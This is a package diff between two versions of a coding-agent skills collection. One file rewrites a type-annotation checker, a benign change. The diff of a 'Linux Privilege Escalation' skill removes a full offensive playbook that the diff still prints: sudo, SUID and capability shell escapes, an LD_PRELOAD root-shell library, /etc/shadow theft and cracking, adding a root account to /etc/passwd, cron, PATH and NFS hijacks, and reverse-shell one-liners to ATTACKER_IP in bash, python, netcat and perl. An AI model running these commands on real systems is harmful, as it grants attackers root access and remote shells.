opencode-skills-collection 4.0.53 → 4.0.55

package/bundled-skills/lint-and-validate/scripts/type_coverage.py

@@ -1,173 +1,83 @@
 #!/usr/bin/env python3
-"""
-Type Coverage Checker - Measures TypeScript/Python type coverage.
-Identifies untyped functions, any usage, and type safety issues.
-"""
-import sys
-import re
-import subprocess
+"""Bounded annotation inventory, not type coverage or a type-safety verdict."""
+import ast
+import json
+import os
 from pathlib import Path
-
-# Fix Windows console encoding for Unicode output
-try:
-    sys.stdout.reconfigure(encoding='utf-8', errors='replace')
-    sys.stderr.reconfigure(encoding='utf-8', errors='replace')
-except AttributeError:
-    pass  # Python < 3.7
-
-def check_typescript_coverage(project_path: Path) -> dict:
-    """Check TypeScript type coverage."""
-    issues = []
-    passed = []
-    stats = {'any_count': 0, 'untyped_functions': 0, 'total_functions': 0}
-
-    ts_files = list(project_path.rglob("*.ts")) + list(project_path.rglob("*.tsx"))
-    ts_files = [f for f in ts_files if 'node_modules' not in str(f) and '.d.ts' not in str(f)]
-
-    if not ts_files:
-        return {'type': 'typescript', 'files': 0, 'passed': [], 'issues': ["[!] No TypeScript files found"], 'stats': stats}
-
-    for file_path in ts_files[:30]:  # Limit
-        try:
-            content = file_path.read_text(encoding='utf-8', errors='ignore')
-
-            # Count 'any' usage
-            any_matches = re.findall(r':\s*any\b', content)
-            stats['any_count'] += len(any_matches)
-
-            # Find functions without return types
-            # function name(params) { - no return type
-            untyped = re.findall(r'function\s+\w+\s*\([^)]*\)\s*{', content)
-            # Arrow functions without types: const fn = (x) => or (x) =>
-            untyped += re.findall(r'=\s*\([^:)]*\)\s*=>', content)
-            stats['untyped_functions'] += len(untyped)
-
-            # Count typed functions
-            typed = re.findall(r'function\s+\w+\s*\([^)]*\)\s*:\s*\w+', content)
-            typed += re.findall(r':\s*\([^)]*\)\s*=>\s*\w+', content)
-            stats['total_functions'] += len(typed) + len(untyped)
-
-        except Exception:
-            continue
-
-    # Analyze results
-    if stats['any_count'] == 0:
-        passed.append("[OK] No 'any' types found")
-    elif stats['any_count'] <= 5:
-        issues.append(f"[!] {stats['any_count']} 'any' types found (acceptable)")
-    else:
-        issues.append(f"[X] {stats['any_count']} 'any' types found (too many)")
-
-    if stats['total_functions'] > 0:
-        typed_ratio = (stats['total_functions'] - stats['untyped_functions']) / stats['total_functions'] * 100
-        if typed_ratio >= 80:
-            passed.append(f"[OK] Type coverage: {typed_ratio:.0f}%")
-        elif typed_ratio >= 50:
-            issues.append(f"[!] Type coverage: {typed_ratio:.0f}% (improve)")
-        else:
-            issues.append(f"[X] Type coverage: {typed_ratio:.0f}% (too low)")
-
-    passed.append(f"[OK] Analyzed {len(ts_files)} TypeScript files")
-
-    return {'type': 'typescript', 'files': len(ts_files), 'passed': passed, 'issues': issues, 'stats': stats}
-
-def check_python_coverage(project_path: Path) -> dict:
-    """Check Python type hints coverage."""
-    issues = []
-    passed = []
-    stats = {'untyped_functions': 0, 'typed_functions': 0, 'any_count': 0}
-
-    py_files = list(project_path.rglob("*.py"))
-    py_files = [f for f in py_files if not any(x in str(f) for x in ['venv', '__pycache__', '.git', 'node_modules'])]
-
-    if not py_files:
-        return {'type': 'python', 'files': 0, 'passed': [], 'issues': ["[!] No Python files found"], 'stats': stats}
-
-    for file_path in py_files[:30]:  # Limit
+import re
+import sys
+import stat
+
+MAX_FILES = 30
+MAX_BYTES = 1_000_000
+SKIP = {'.git', 'node_modules', 'venv', '.venv', '__pycache__', 'dist', 'build'}
+
+
+def source_files(root, suffixes):
+    """Yield a deterministic sample without following directory or file links."""
+    for directory, dirs, files in os.walk(root, followlinks=False):
+        dirs[:] = sorted(name for name in dirs if name not in SKIP and not (Path(directory) / name).is_symlink())
+        for name in sorted(files):
+            path = Path(directory) / name
+            if path.suffix in suffixes and not path.name.endswith('.d.ts') and not path.is_symlink():
+                yield path
+
+
+def inventory(project_path, language):
+    result = {'type': language, 'files': 0, 'sample_limit': MAX_FILES, 'truncated': False, 'errors': [], 'stats': {}}
+    stats = result['stats']
+    stats.update({'functions': 0, 'fully_annotated_functions': 0} if language == 'python' else {'explicit_any_text_matches': 0})
+    for index, path in enumerate(source_files(project_path, {'.py'} if language == 'python' else {'.ts', '.tsx'})):
+        if index == MAX_FILES:
+            result['truncated'] = True
+            break
         try:
-            content = file_path.read_text(encoding='utf-8', errors='ignore')
-
-            # Count Any usage
-            any_matches = re.findall(r':\s*Any\b', content)
-            stats['any_count'] += len(any_matches)
-
-            # Find functions with type hints
-            typed_funcs = re.findall(r'def\s+\w+\s*\([^)]*:[^)]+\)', content)
-            typed_funcs += re.findall(r'def\s+\w+\s*\([^)]*\)\s*->', content)
-            stats['typed_functions'] += len(typed_funcs)
-
-            # Find functions without type hints
-            all_funcs = re.findall(r'def\s+\w+\s*\(', content)
-            stats['untyped_functions'] += len(all_funcs) - len(typed_funcs)
-
-        except Exception:
-            continue
-
-    total = stats['typed_functions'] + stats['untyped_functions']
-
-    if total > 0:
-        typed_ratio = stats['typed_functions'] / total * 100
-        if typed_ratio >= 70:
-            passed.append(f"[OK] Type hints coverage: {typed_ratio:.0f}%")
-        elif typed_ratio >= 40:
-            issues.append(f"[!] Type hints coverage: {typed_ratio:.0f}%")
-        else:
-            issues.append(f"[X] Type hints coverage: {typed_ratio:.0f}% (add type hints)")
-
-    if stats['any_count'] == 0:
-        passed.append("[OK] No 'Any' types found")
-    elif stats['any_count'] <= 3:
-        issues.append(f"[!] {stats['any_count']} 'Any' types found")
-    else:
-        issues.append(f"[X] {stats['any_count']} 'Any' types found")
+            flags = os.O_RDONLY | getattr(os, 'O_NOFOLLOW', 0) | getattr(os, 'O_NONBLOCK', 0)
+            fd = os.open(path, flags)
+            with os.fdopen(fd, 'rb') as handle:
+                if not stat.S_ISREG(os.fstat(handle.fileno()).st_mode):
+                    raise ValueError('source is not a regular file')
+                raw = handle.read(MAX_BYTES + 1)
+            if len(raw) > MAX_BYTES:
+                raise ValueError('source exceeds byte limit')
+            text = raw.decode('utf-8')
+            if language == 'python':
+                tree = ast.parse(text)
+                for node in ast.walk(tree):
+                    if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):
+                        stats['functions'] += 1
+                        args = node.args.posonlyargs + node.args.args + node.args.kwonlyargs
+                        args += [arg for arg in (node.args.vararg, node.args.kwarg) if arg]
+                        annotated = node.returns is not None and all(arg.annotation is not None for arg in args)
+                        stats['fully_annotated_functions'] += int(annotated)
+            else:
+                # This includes comments/string literals and misses inferred/aliased any.
+                stats['explicit_any_text_matches'] += len(re.findall(r':\s*any\b', text))
+            result['files'] += 1
+        except (OSError, UnicodeError, ValueError, SyntaxError) as error:
+            result['errors'].append({'file': str(path.relative_to(project_path)), 'error': str(error)})
+    return result
+
+
+def check_python_coverage(project_path):
+    return inventory(project_path, 'python')
+
+
+def check_typescript_coverage(project_path):
+    return inventory(project_path, 'typescript')
 
-    passed.append(f"[OK] Analyzed {len(py_files)} Python files")
-
-    return {'type': 'python', 'files': len(py_files), 'passed': passed, 'issues': issues, 'stats': stats}
 
 def main():
-    target = sys.argv[1] if len(sys.argv) > 1 else "."
-    project_path = Path(target)
-
-    print("\n" + "=" * 60)
-    print("  TYPE COVERAGE CHECKER")
-    print("=" * 60 + "\n")
-
-    results = []
-
-    # Check TypeScript
-    ts_result = check_typescript_coverage(project_path)
-    if ts_result['files'] > 0:
-        results.append(ts_result)
-
-    # Check Python
-    py_result = check_python_coverage(project_path)
-    if py_result['files'] > 0:
-        results.append(py_result)
-
-    if not results:
-        print("[!] No TypeScript or Python files found.")
-        sys.exit(0)
-
-    # Print results
-    critical_issues = 0
-    for result in results:
-        print(f"\n[{result['type'].upper()}]")
-        print("-" * 40)
-        for item in result['passed']:
-            print(f"  {item}")
-        for item in result['issues']:
-            print(f"  {item}")
-            if item.startswith("[X]"):
-                critical_issues += 1
-
-    print("\n" + "=" * 60)
-    if critical_issues == 0:
-        print("[OK] TYPE COVERAGE: ACCEPTABLE")
-        sys.exit(0)
-    else:
-        print(f"[X] TYPE COVERAGE: {critical_issues} critical issues")
-        sys.exit(1)
-
-if __name__ == "__main__":
-    main()
+    root = Path(sys.argv[1] if len(sys.argv) > 1 else '.').resolve()
+    if not root.is_dir():
+        print('Project directory does not exist.', file=sys.stderr)
+        return 2
+    results = [inventory(root, language) for language in ('python', 'typescript')]
+    print(json.dumps({'kind': 'annotation-inventory', 'limitation': 'Not type coverage. Annotations do not establish correctness; TypeScript counts are lexical. Run the configured type checker.', 'results': results}, indent=2))
+    if any(result['errors'] for result in results):
+        return 1
+    return 0 if any(result['files'] for result in results) else 2
+
+
+if __name__ == '__main__':
+    sys.exit(main())

package/bundled-skills/linux-privilege-escalation/SKILL.md

@@ -25,424 +25,9 @@ date_added: "2026-02-27"
 
 # Linux Privilege Escalation
 
-## Purpose
+## Detailed Guide
 
-Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.
-
-## Inputs / Prerequisites
-
-### Required Access
-- Low-privilege shell access to target Linux system
-- Ability to execute commands (interactive or semi-interactive shell)
-- Network access for reverse shell connections (if needed)
-- Attacker machine for payload hosting and receiving shells
-
-### Technical Requirements
-- Understanding of Linux filesystem permissions and ownership
-- Familiarity with common Linux utilities and scripting
-- Knowledge of kernel versions and associated vulnerabilities
-- Basic understanding of compilation (gcc) for custom exploits
-
-### Recommended Tools
-- LinPEAS, LinEnum, or Linux Smart Enumeration scripts
-- Linux Exploit Suggester (LES)
-- GTFOBins reference for binary exploitation
-- John the Ripper or Hashcat for password cracking
-- Netcat or similar for reverse shells
-
-## Outputs / Deliverables
-
-### Primary Outputs
-- Root shell access on target system
-- Privilege escalation path documentation
-- System enumeration findings report
-- Recommendations for remediation
-
-### Evidence Artifacts
-- Screenshots of successful privilege escalation
-- Command output logs demonstrating root access
-- Identified vulnerability details
-- Exploited configuration files
-
-## Core Workflow
-
-### Phase 1: System Enumeration
-
-#### Basic System Information
-Gather fundamental system details for vulnerability research:
-
-```bash
-# Hostname and system role
-hostname
-
-# Kernel version and architecture
-uname -a
-
-# Detailed kernel information
-cat /proc/version
-
-# Operating system details
-cat /etc/issue
-cat /etc/*-release
-
-# Architecture
-arch
-```
-
-#### User and Permission Enumeration
-
-```bash
-# Current user context
-whoami
-id
-
-# Users with login shells
-cat /etc/passwd | grep -v nologin | grep -v false
-
-# Users with home directories
-cat /etc/passwd | grep home
-
-# Group memberships
-groups
-
-# Other logged-in users
-w
-who
-```
-
-#### Network Information
-
-```bash
-# Network interfaces
-ifconfig
-ip addr
-
-# Routing table
-ip route
-
-# Active connections
-netstat -antup
-ss -tulpn
-
-# Listening services
-netstat -l
-```
-
-#### Process and Service Enumeration
-
-```bash
-# All running processes
-ps aux
-ps -ef
-
-# Process tree view
-ps axjf
-
-# Services running as root
-ps aux | grep root
-```
-
-#### Environment Variables
-
-```bash
-# Full environment
-env
-
-# PATH variable (for hijacking)
-echo $PATH
-```
-
-### Phase 2: Automated Enumeration
-
-Deploy automated scripts for comprehensive enumeration:
-
-```bash
-# LinPEAS: download first, inspect the script, then execute only in an authorized lab
-curl -L -o linpeas.sh https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
-less linpeas.sh
-chmod +x linpeas.sh
-./linpeas.sh
-
-# LinEnum
-./LinEnum.sh -t
-
-# Linux Smart Enumeration
-./lse.sh -l 1
-
-# Linux Exploit Suggester
-./les.sh
-```
-
-Transfer scripts to target system:
-
-```bash
-# On attacker machine
-python3 -m http.server 8000
-
-# On target machine
-wget http://ATTACKER_IP:8000/linpeas.sh
-chmod +x linpeas.sh
-./linpeas.sh
-```
-
-### Phase 3: Kernel Exploits
-
-#### Identify Kernel Version
-
-```bash
-uname -r
-cat /proc/version
-```
-
-#### Search for Exploits
-
-```bash
-# Use Linux Exploit Suggester
-./linux-exploit-suggester.sh
-
-# Manual search on exploit-db
-searchsploit linux kernel [version]
-```
-
-#### Common Kernel Exploits
-
-| Kernel Version | Exploit | CVE |
-|---------------|---------|-----|
-| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |
-| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |
-| 5.8+ | Dirty Pipe | CVE-2022-0847 |
-
-#### Compile and Execute
-
-```bash
-# Transfer exploit source
-wget http://ATTACKER_IP/exploit.c
-
-# Compile on target
-gcc exploit.c -o exploit
-
-# Execute
-./exploit
-```
-
-### Phase 4: Sudo Exploitation
-
-#### Enumerate Sudo Privileges
-
-```bash
-sudo -l
-```
-
-#### GTFOBins Sudo Exploitation
-Reference https://gtfobins.github.io for exploitation commands:
-
-```bash
-# Example: vim with sudo
-sudo vim -c ':!/bin/bash'
-
-# Example: find with sudo
-sudo find . -exec /bin/sh \; -quit
-
-# Example: awk with sudo
-sudo awk 'BEGIN {system("/bin/bash")}'
-
-# Example: python with sudo
-sudo python -c 'import os; os.system("/bin/bash")'
-
-# Example: less with sudo
-sudo less /etc/passwd
-!/bin/bash
-```
-
-#### LD_PRELOAD Exploitation
-When env_keep includes LD_PRELOAD:
-
-```c
-// shell.c
-#include <stdio.h>
-#include <sys/types.h>
-#include <stdlib.h>
-
-void _init() {
-    unsetenv("LD_PRELOAD");
-    setgid(0);
-    setuid(0);
-    system("/bin/bash");
-}
-```
-
-```bash
-# Compile shared library
-gcc -fPIC -shared -o shell.so shell.c -nostartfiles
-
-# Execute with sudo
-sudo LD_PRELOAD=/tmp/shell.so find
-```
-
-### Phase 5: SUID Binary Exploitation
-
-#### Find SUID Binaries
-
-```bash
-find / -type f -perm -04000 -ls 2>/dev/null
-find / -perm -u=s -type f 2>/dev/null
-```
-
-#### Exploit SUID Binaries
-Reference GTFOBins for SUID exploitation:
-
-```bash
-# Example: base64 for file reading
-LFILE=/etc/shadow
-base64 "$LFILE" | base64 -d
-
-# Example: cp for file writing
-cp /bin/bash /tmp/bash
-chmod +s /tmp/bash
-/tmp/bash -p
-
-# Example: find with SUID
-find . -exec /bin/sh -p \; -quit
-```
-
-#### Password Cracking via SUID
-
-```bash
-# Read shadow file (if base64 has SUID)
-base64 /etc/shadow | base64 -d > shadow.txt
-base64 /etc/passwd | base64 -d > passwd.txt
-
-# On attacker machine
-unshadow passwd.txt shadow.txt > hashes.txt
-john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
-```
-
-#### Add User to passwd (if nano/vim has SUID)
-
-```bash
-# Generate password hash
-openssl passwd -1 -salt new newpassword
-
-# Add to /etc/passwd (using SUID editor)
-newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
-```
-
-### Phase 6: Capabilities Exploitation
-
-#### Enumerate Capabilities
-
-```bash
-getcap -r / 2>/dev/null
-```
-
-#### Exploit Capabilities
-
-```bash
-# Example: python with cap_setuid
-/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
-
-# Example: vim with cap_setuid
-./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
-
-# Example: perl with cap_setuid
-perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
-```
-
-### Phase 7: Cron Job Exploitation
-
-#### Enumerate Cron Jobs
-
-```bash
-# System crontab
-cat /etc/crontab
-
-# User crontabs
-ls -la /var/spool/cron/crontabs/
-
-# Cron directories
-ls -la /etc/cron.*
-
-# Systemd timers
-systemctl list-timers
-```
-
-#### Exploit Writable Cron Scripts
-
-```bash
-# Identify writable cron script from /etc/crontab
-ls -la /opt/backup.sh        # Check permissions
-echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
-
-# If cron references non-existent script in writable PATH
-echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
-chmod +x /home/user/antivirus.sh
-```
-
-### Phase 8: PATH Hijacking
-
-```bash
-# Find SUID binary calling external command
-strings /usr/local/bin/suid-binary
-# Shows: system("service apache2 start")
-
-# Hijack by creating malicious binary in writable PATH
-export PATH=/tmp:$PATH
-echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
-chmod +x /tmp/service
-/usr/local/bin/suid-binary      # Execute SUID binary
-```
-
-### Phase 9: NFS Exploitation
-
-```bash
-# On target - look for no_root_squash option
-cat /etc/exports
-
-# On attacker - mount share and create SUID binary
-showmount -e TARGET_IP
-mount -o rw TARGET_IP:/share /tmp/nfs
-
-# Create and compile SUID shell
-echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
-gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell
-
-# On target - execute
-/share/shell
-```
-
-## Quick Reference
-
-### Enumeration Commands Summary
-| Purpose | Command |
-|---------|---------|
-| Kernel version | `uname -a` |
-| Current user | `id` |
-| Sudo rights | `sudo -l` |
-| SUID files | `find / -perm -u=s -type f 2>/dev/null` |
-| Capabilities | `getcap -r / 2>/dev/null` |
-| Cron jobs | `cat /etc/crontab` |
-| Writable dirs | `find / -writable -type d 2>/dev/null` |
-| NFS exports | `cat /etc/exports` |
-
-### Reverse Shell One-Liners
-```bash
-# Bash
-bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
-
-# Python
-python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
-
-# Netcat
-nc -e /bin/bash ATTACKER_IP 4444
-
-# Perl
-perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
-```
-
-### Key Resources
-- GTFOBins: https://gtfobins.github.io
-- LinPEAS: https://github.com/carlospolop/PEASS-ng
-- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
+Read [the detailed guide](references/detailed-guide.md) before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.
 
 ## Constraints and Guardrails
 
@@ -514,14 +99,5 @@ $ /tmp/bash -p
 uid=1000(user) gid=1000(user) euid=0(root)
 ```
 
-## Troubleshooting
-
-| Issue | Solutions |
-|-------|-----------|
-| Exploit compilation fails | Check for gcc: `which gcc`; compile on attacker for same arch; use `gcc -static` |
-| Reverse shell not connecting | Check firewall; try ports 443/80; use staged payloads; check egress filtering |
-| SUID binary not exploitable | Verify version matches GTFOBins; check AppArmor/SELinux; some binaries drop privileges |
-| Cron job not executing | Verify cron running: `service cron status`; check +x permissions; verify PATH in crontab |
-
 ## When to Use
 This skill is applicable to execute the workflow or actions described in the overview.